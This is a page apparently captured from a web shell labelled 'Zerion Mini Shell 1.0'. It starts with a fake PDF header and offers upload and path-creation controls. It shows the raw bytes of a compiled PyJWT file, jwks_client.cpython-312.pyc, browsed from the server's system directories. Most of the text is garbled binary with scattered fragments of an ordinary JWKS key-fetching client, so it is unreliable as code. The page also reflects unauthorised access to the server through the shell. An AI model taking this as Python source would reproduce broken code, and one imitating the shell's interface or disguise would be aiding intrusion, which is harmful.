%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/jwt/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/jwt/__pycache__/jwks_client.cpython-312.pyc

�

d��d����ddlZddlZddlmZddlmZmZmZm	Z	ddl
mZddlm
Z
mZddlmZddlmZmZdd	lmZGd
�d�Zy)�N)�	lru_cache)�Any�Dict�List�Optional)�URLError�)�PyJWK�PyJWKSet)�decode_complete)�PyJWKClientConnectionError�PyJWKClientError)�JWKSetCachec���eZdZ						ddedededededeeeefdefd	�Z	d
efd�Z
dded
efd
�Zdded
e
efd�Zded
efd�Zded
efd�Zede
eded
eefd��Zy)�PyJWKClientN�uri�
cache_keys�max_cached_keys�
cache_jwk_set�lifespan�headers�timeoutc���|�i}||_d|_||_||_|r%|dkrt	d|�d���t|�|_nd|_|r"t
|��|j�|_yy)Nrz/Lifespan must be greater than 0, the input is "�")�maxsize)r�
jwk_set_cacherrrrr�get_signing_key)�selfrrrrrrrs        �1/usr/lib/python3/dist-packages/jwt/jwks_client.py�__init__zPyJWKClient.__init__s����?��G����48�����������1�}�&�E�h�Z�q�Q���"-�X�!6�D��!%�D���$F�9�_�#E�d�FZ�FZ�#[�D� ���returnc��d}	tjj|j|j��}tjj||j��5}tj|�}ddd�||j�|jj|�SS#1swY�3xYw#ttf$r}td|�d���d}~wwxYw#|j�|jj|�wwxYw)N)�urlr)rz'Fail to fetch data from the url, err: "r)�urllib�request�Requestrr�urlopenr�json�loadr�putr�TimeoutErrorr
)r�jwk_set�r�response�es     r�
fetch_datazPyJWKClient.fetch_data/s�����	0����&�&�4�8�8�T�\�\�&�J�A����'�'��4�<�<�'�@�
.�H��)�)�H�-��
.���!�!�-��"�"�&�&�w�/�.�
.�
.���,�'�	�,�9�!��A�>��
��	���!�!�-��"�"�&�&�w�/�.�sB�A B8�$B,�:B8�C�,B5�1B8�8C�C�C�C�*D�refreshc���d}|j�|s|jj�}|�|j�}t|t�std��t
j|�S)Nz.The JWKS endpoint did not return a JSON object)r�getr1�
isinstance�dictrr�	from_dict)rr2�datas   r�get_jwk_setzPyJWKClient.get_jwk_set?sa�������)�'��%�%�)�)�+�D��<��?�?�$�D��$��%�"�#S�T�T��!�!�$�'�'r!c��|j|�}|jD�cgc]}|jdvr|jr|�� }}|st	d��|Scc}w)N)�sigNz2The JWKS endpoint did not contain any signing keys)r9�keys�public_key_use�key_idr)rr2r-�jwk_set_key�signing_keyss     r�get_signing_keyszPyJWKClient.get_signing_keysLsg���"�"�7�+�� '�|�|�
���)�)�]�:�{�?Q�?Q�
�
��
��"�#W�X�X����
s�#A�kidc��|j�}|j||�}|s5|jd��}|j||�}|std|�d���|S)NT)r2z,Unable to find a signing key that matches: "r)rA�	match_kidr)rrBr@�signing_keys    rrzPyJWKClient.get_signing_keyYsj���,�,�.���n�n�\�3�7����0�0��0�>�L��.�.��s�;�K��&�B�3�%�q�I����r!�tokenc�j�t|ddi��}|d}|j|jd��S)N�verify_signatureF)�options�headerrB)�decode_tokenrr4)rrF�
unverifiedrJs    r�get_signing_key_from_jwtz$PyJWKClient.get_signing_key_from_jwtis8��!�%�2D�e�1L�M�
��H�%���#�#�F�J�J�u�$5�6�6r!r@c�@�d}|D]}|j|k(s�|}|S|S)N)r>)r@rBrE�keys    rrDzPyJWKClient.match_kidns8�����	�C��z�z�S� �!�����	�
�r!)F�Ti,N�)F)�__name__�
__module__�__qualname__�str�bool�intrrrr r1rr9rr
rArrM�staticmethodrD�r!rrr
s��!�!�"��,0��\�
�\��\��	\�
�\��
\��$�s�C�x�.�)�\��\�B0�C�0� (�4�(�H�(�����e����3��5�� 7�c�7�e�7�
���U���#��(�5�/���r!r)r)�urllib.requestr%�	functoolsr�typingrrrr�urllib.errorr�api_jwkr
r�api_jwtrrK�
exceptionsr
rrrrrYr!r�<module>ras/�����,�,�!�$�4�D�&�j�jr!

Zerion Mini Shell 1.0